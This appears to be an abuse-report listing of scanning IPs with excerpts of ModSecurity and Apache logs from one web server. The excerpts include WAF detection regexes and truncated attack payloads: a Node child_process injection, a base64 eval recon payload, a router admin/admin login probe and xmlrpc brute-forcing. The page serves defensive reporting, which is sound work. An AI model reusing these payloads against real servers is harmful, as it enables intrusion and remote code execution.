|
🇸🇬
47.128.96.156
|
|
47.128.96.156 - - [05/Sep/2026:12:21:23 -0600] "GET /robots.txt HTTP/1.1" 403 5566 "-" "-"
...
|
Bad Web Bot
|
|
🇺🇸
52.180.152.222
|
|
[Sat Sep 05 12:20:31.982977 2026] [security2:error] [pid 815019:tid 815019] [client 52.180.152.222:4 ...
show more
[Sat Sep 05 12:20:31.982977 2026] [security2:error] [pid 815019:tid 815019] [client 52.180.152.222:42004] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/etc/modsecurity/crs/current/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "56"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: Mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/SCANNER-DETECTION"] [tag "capec/1000/118/224/541/310"] [hostname "186.32.240.17"] [uri "/developmentserver/metadatauploader"] [unique_id "apxdb_JBl-bNRaSDYLKDxgAAAAg"]
[Sat Sep 05 12:20:31.983172 2026] [security2:error] [pid 815019:tid 815019] [client 52.180.152.222:42004] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇧🇷
16.5.0.237
|
|
16.5.0.237 - - [05/Sep/2026:12:06:38 -0600] "GET / HTTP/1.0" 400 744 "-" "-"
...
|
Bad Web Bot
|
|
🇺🇸
170.106.148.137
|
|
[Sat Sep 05 12:04:49.242505 2026] [security2:error] [pid 800448:tid 800448] [client 170.106.148.137: ...
show more
[Sat Sep 05 12:04:49.242505 2026] [security2:error] [pid 800448:tid 800448] [client 170.106.148.137:46016] ModSecurity: Warning. Pattern match "\\\\b(?:keep-alive|close),\\\\s?(?:keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "402"] [id "920210"] [msg "Multiple/Conflicting Connection Header Data Found"] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apxZwdMNnwSP57nntrYMSwAAAAw"]
[Sat Sep 05 12:04:49.242649 2026] [security2:error] [pid 800448:tid 800448] [client 170.106.148.137:46016] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇧🇷
45.205.1.244
|
|
[Sat Sep 05 12:00:17.695245 2026] [security2:error] [pid 828984:tid 828984] [client 45.205.1.244:407 ...
show more
[Sat Sep 05 12:00:17.695245 2026] [security2:error] [pid 828984:tid 828984] [client 45.205.1.244:40722] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "566"] [id "920280"] [msg "Request Missing a Host Header"] [severity "CRITICAL"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "cursos.robertomurillo.net"] [uri "/"] [unique_id "apxYsXBwCzujZ9IOPAUoLAAAAAc"]
[Sat Sep 05 12:00:17.697616 2026] [security2:error] [pid 828984:tid 828984] [client 45.205.1.244:40722] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "980170"] [msg "Anomaly Scores: (Inbound Scores: blocking=5, detection=5, per_pl=5-0-0-0, th
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇵🇰
153.117.37.56
|
|
153.117.37.56 - - [05/Sep/2026:11:55:39 -0600] "GET /boaform/admin/formLogin?username=admin&psd=admi ...
show more
153.117.37.56 - - [05/Sep/2026:11:55:39 -0600] "GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0" 301 776 "-" "-"
...
show less
|
Bad Web Bot
|
|
🇺🇸
205.210.31.100
|
|
[Sat Sep 05 11:54:46.435169 2026] [security2:error] [pid 815019:tid 815019] [client 205.210.31.100:6 ...
show more
[Sat Sep 05 11:54:46.435169 2026] [security2:error] [pid 815019:tid 815019] [client 205.210.31.100:65166] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17:80"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apxXZvJBl-bNRaSDYLKDrQAAAAg"]
[Sat Sep 05 11:54:46.894201 2026] [security2:error] [pid 815019:tid 815019] [client 205.210.31.100:65166] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "980
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇧🇷
16.5.0.239
|
|
16.5.0.239 - - [05/Sep/2026:11:45:16 -0600] "GET / HTTP/1.0" 400 744 "-" "-"
...
|
Bad Web Bot
|
|
🇺🇸
35.184.124.135
|
|
[Sat Sep 05 11:25:20.371991 2026] [security2:error] [pid 815019:tid 815019] [client 35.184.124.135:3 ...
show more
[Sat Sep 05 11:25:20.371991 2026] [security2:error] [pid 815019:tid 815019] [client 35.184.124.135:34044] ModSecurity: Warning. Pattern match "(?i)\\\\b\\\\(?[\\"']*(?:assert(?:_options)?|c(?:hr|reate_function)|e(?:val|x(?:ec|p))|f(?:ile(?:group)?|open|puts)|glob|i(?:mage(?:gif|(?:jpe|pn)g|wbmp|xbm)|s_a|ntval)|m(?:d5|kdir)|o(?:pendir|rd)|p(?:assthru|hpinfo|open|r(?:intf|ev))|r(?:eadfile|trim)|s(?: ..." at ARGS:0. [file "/etc/modsecurity/crs/current/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "406"] [id "933160"] [msg "PHP Injection Attack: High-Risk PHP Function Call Found"] [data "Matched Data: eval(user_code) found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\x5c\\x22node:child_process\\x5c\\x22)'
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇺🇸
45.63.4.69
|
|
[Sat Sep 05 11:17:29.781404 2026] [security2:error] [pid 750635:tid 750635] [client 45.63.4.69:42906 ...
show more
[Sat Sep 05 11:17:29.781404 2026] [security2:error] [pid 750635:tid 750635] [client 45.63.4.69:42906] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apxOqcOqTGv7zx-yryPQNAAAAAU"]
[Sat Sep 05 11:17:30.000281 2026] [security2:error] [pid 750635:tid 750635] [client 45.63.4.69:42906] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "980170"] [msg
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇺🇸
49.51.178.45
|
|
[Sat Sep 05 11:12:24.803706 2026] [security2:error] [pid 810329:tid 810329] [client 49.51.178.45:534 ...
show more
[Sat Sep 05 11:12:24.803706 2026] [security2:error] [pid 810329:tid 810329] [client 49.51.178.45:53470] ModSecurity: Warning. Pattern match "\\\\b(?:keep-alive|close),\\\\s?(?:keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "402"] [id "920210"] [msg "Multiple/Conflicting Connection Header Data Found"] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "fotos.robertomurillo.net"] [uri "/"] [unique_id "apxNeIjA-G2NT6T1ZkkUzgAAAAQ"]
[Sat Sep 05 11:12:24.805596 2026] [security2:error] [pid 810329:tid 810329] [client 49.51.178.45:53470] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"]
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇧🇪
198.235.24.223
|
|
[Sat Sep 05 10:19:53.813468 2026] [security2:error] [pid 803127:tid 803127] [client 198.235.24.223:6 ...
show more
[Sat Sep 05 10:19:53.813468 2026] [security2:error] [pid 803127:tid 803127] [client 198.235.24.223:61898] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17:443"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apxBKWrH7msWafhs3ulUqQAAAA0"]
[Sat Sep 05 10:19:53.815271 2026] [security2:error] [pid 803127:tid 803127] [client 198.235.24.223:61898] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "98
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇺🇸
32.198.93.152
|
|
[Sat Sep 05 10:08:53.096952 2026] [security2:error] [pid 803112:tid 803112] [client 32.198.93.152:57 ...
show more
[Sat Sep 05 10:08:53.096952 2026] [security2:error] [pid 803112:tid 803112] [client 32.198.93.152:57526] ModSecurity: Warning. Pattern match "(?i)(?:b[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\\\?@_a-\\\\{]*)?\\\\x5c?u[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\\\?@_a-\\\\{]*)?\\\\x5c?s[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\ ..." at ARGS:0. [file "/etc/modsecurity/crs/current/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "205"] [id "932235"] [msg "Remote Command Execution: Unix Command Injection (command without evasion)"] [data "Matched Data: eval)(global[String.fromCharCode(66,117,102,102,101,114)].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oCUIHNpZ25hdHVyZS1yb3RhdGVkIHJlY29uIHBheWxvYWQKLy8gQ2hhbmdlcyBmcm9tIHY1OgovLyAgIC0gUmFuZG9taXplZCB0b3AtbGV2ZWwgSlNPTiBrZXlzIChubyBmaXhlZCBzY2hlbWEgdG8gZmluZ2VycHJpbnQpCi8vICAgLSBW
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇺🇸
69.166.236.89
|
|
[Sat Sep 05 09:44:10.119377 2026] [security2:error] [pid 789198:tid 789198] [client 69.166.236.89:22 ...
show more
[Sat Sep 05 09:44:10.119377 2026] [security2:error] [pid 789198:tid 789198] [client 69.166.236.89:22036] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apw4yve9eyBpczMNHzjtXwAAAAg"]
[Sat Sep 05 09:44:10.121713 2026] [security2:error] [pid 789198:tid 789198] [client 69.166.236.89:22036] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "980170"]
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇲🇾
47.250.135.144
|
|
[Sat Sep 05 09:43:23.007446 2026] [security2:error] [pid 789197:tid 789197] [client 47.250.135.144:3 ...
show more
[Sat Sep 05 09:43:23.007446 2026] [security2:error] [pid 789197:tid 789197] [client 47.250.135.144:31134] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17:443"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apw4mzo_1AyRVzxc9J7oEwAAAAQ"]
[Sat Sep 05 09:43:23.009302 2026] [security2:error] [pid 789197:tid 789197] [client 47.250.135.144:31134] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "98
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇧🇪
198.235.24.234
|
|
[Sat Sep 05 09:19:14.342256 2026] [security2:error] [pid 756992:tid 756992] [client 198.235.24.234:5 ...
show more
[Sat Sep 05 09:19:14.342256 2026] [security2:error] [pid 756992:tid 756992] [client 198.235.24.234:58446] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17:443"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apwy8pHFgwqJr9KGb9hm8gAAAAc"]
[Sat Sep 05 09:19:14.344038 2026] [security2:error] [pid 756992:tid 756992] [client 198.235.24.234:58446] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "98
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇳🇱
62.164.177.222
|
|
62.164.177.222 - - [05/Sep/2026:09:16:49 -0600] "POST /xmlrpc.php HTTP/1.1" 403 1529 "-" "Mozilla/5. ...
show more
62.164.177.222 - - [05/Sep/2026:09:16:49 -0600] "POST /xmlrpc.php HTTP/1.1" 403 1529 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
...
show less
|
Web Spam
Brute-Force
Web App Attack
|
|
🇧🇷
43.157.158.178
|
|
[Sat Sep 05 09:09:09.084324 2026] [security2:error] [pid 701395:tid 701395] [client 43.157.158.178:4 ...
show more
[Sat Sep 05 09:09:09.084324 2026] [security2:error] [pid 701395:tid 701395] [client 43.157.158.178:43512] ModSecurity: Warning. Pattern match "\\\\b(?:keep-alive|close),\\\\s?(?:keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "402"] [id "920210"] [msg "Multiple/Conflicting Connection Header Data Found"] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apwwldxOzU9y6gC2fciC5AAAAAw"]
[Sat Sep 05 09:09:09.084471 2026] [security2:error] [pid 701395:tid 701395] [client 43.157.158.178:43512] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇺🇸
18.226.253.47
|
|
[Sat Sep 05 08:50:22.347963 2026] [security2:error] [pid 756991:tid 756991] [client 18.226.253.47:56 ...
show more
[Sat Sep 05 08:50:22.347963 2026] [security2:error] [pid 756991:tid 756991] [client 18.226.253.47:56236] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apwsLn8phmxuLCSmY5GwzwAAAAY"]
[Sat Sep 05 08:50:22.361198 2026] [security2:error] [pid 756991:tid 756991] [client 18.226.253.47:56236] ModSecurity: Warning. Pattern match "(?i)\\\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|l
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇧🇪
35.187.94.117
|
|
[Sat Sep 05 08:22:29.053544 2026] [security2:error] [pid 773973:tid 773973] [client 35.187.94.117:39 ...
show more
[Sat Sep 05 08:22:29.053544 2026] [security2:error] [pid 773973:tid 773973] [client 35.187.94.117:39332] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "773"] [id "920350"] [msg "Host header is a numeric IP address"] [data "186.32.240.17"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apwlpUPklEkaPBOjJfMswgAAAAE"]
[Sat Sep 05 08:22:29.056501 2026] [security2:error] [pid 773973:tid 773973] [client 35.187.94.117:39332] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "980170"]
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇺🇸
43.130.102.7
|
|
[Sat Sep 05 08:11:28.378772 2026] [security2:error] [pid 756991:tid 756991] [client 43.130.102.7:379 ...
show more
[Sat Sep 05 08:11:28.378772 2026] [security2:error] [pid 756991:tid 756991] [client 43.130.102.7:37934] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "566"] [id "920280"] [msg "Request Missing a Host Header"] [severity "CRITICAL"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "cursos.robertomurillo.net"] [uri "/"] [unique_id "apwjEH8phmxuLCSmY5GwtAAAAAY"]
[Sat Sep 05 08:11:28.380276 2026] [security2:error] [pid 756991:tid 756991] [client 43.130.102.7:37934] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [line "99"] [id "980170"] [msg "Anomaly Scores: (Inbound Scores: blocking=5, detection=5, per_pl=5-0-0-0, th
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇩🇪
49.51.141.76
|
|
[Sat Sep 05 08:00:29.156130 2026] [security2:error] [pid 739788:tid 739788] [client 49.51.141.76:574 ...
show more
[Sat Sep 05 08:00:29.156130 2026] [security2:error] [pid 739788:tid 739788] [client 49.51.141.76:57422] ModSecurity: Warning. Pattern match "\\\\b(?:keep-alive|close),\\\\s?(?:keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "402"] [id "920210"] [msg "Multiple/Conflicting Connection Header Data Found"] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "www.robertomurillo.net"] [uri "/"] [unique_id "apwgfeNt2laE9vUDxX3xeQAAAAo"]
[Sat Sep 05 08:00:29.157988 2026] [security2:error] [pid 739788:tid 739788] [client 49.51.141.76:57422] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"] [l
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇺🇸
54.234.120.76
|
|
[Sat Sep 05 07:49:22.465032 2026] [security2:error] [pid 701395:tid 701395] [client 54.234.120.76:59 ...
show more
[Sat Sep 05 07:49:22.465032 2026] [security2:error] [pid 701395:tid 701395] [client 54.234.120.76:59174] ModSecurity: Warning. Pattern match "(?i)(?:b[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\\\?@_a-\\\\{]*)?\\\\x5c?u[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\\\?@_a-\\\\{]*)?\\\\x5c?s[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\ ..." at ARGS:0. [file "/etc/modsecurity/crs/current/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "205"] [id "932235"] [msg "Remote Command Execution: Unix Command Injection (command without evasion)"] [data "Matched Data: eval)(global[\\x5c\\x22\\x5c\\x5cx42\\x5c\\x5cx75\\x5c\\x5cx66\\x5c\\x5cx66\\x5c\\x5cx65\\x5c\\x5cx72\\x5c\\x22].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oCUIHNpZ25hdHVyZS1yb3RhdGVkIHJlY29uIHBheWxvYWQKLy8gQ2hhbmdlcyBmcm9tIHY1OgovLyAgIC0gUmFuZG9taXplZCB0b3AtbGV2ZWwgSlNPTiBrZXlzI
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇺🇸
103.203.57.3
|
|
[Sat Sep 05 07:38:39.206694 2026] [security2:error] [pid 716265:tid 716265] [client 103.203.57.3:501 ...
show more
[Sat Sep 05 07:38:39.206694 2026] [security2:error] [pid 716265:tid 716265] [client 103.203.57.3:50112] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/etc/modsecurity/crs/current/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "56"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: Mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/SCANNER-DETECTION"] [tag "capec/1000/118/224/541/310"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apwbX4T_TgiKpdqjqLacbwAAAAA"]
[Sat Sep 05 07:38:39.206903 2026] [security2:error] [pid 716265:tid 716265] [client 103.203.57.3:50112] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|
|
🇺🇸
43.130.57.46
|
|
[Sat Sep 05 07:18:40.253505 2026] [security2:error] [pid 746476:tid 746476] [client 43.130.57.46:431 ...
show more
[Sat Sep 05 07:18:40.253505 2026] [security2:error] [pid 746476:tid 746476] [client 43.130.57.46:43150] ModSecurity: Warning. Pattern match "\\\\b(?:keep-alive|close),\\\\s?(?:keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "402"] [id "920210"] [msg "Multiple/Conflicting Connection Header Data Found"] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "186.32.240.17"] [uri "/"] [unique_id "apwWsPauVEe-wOIm0I1vLAAAAAE"]
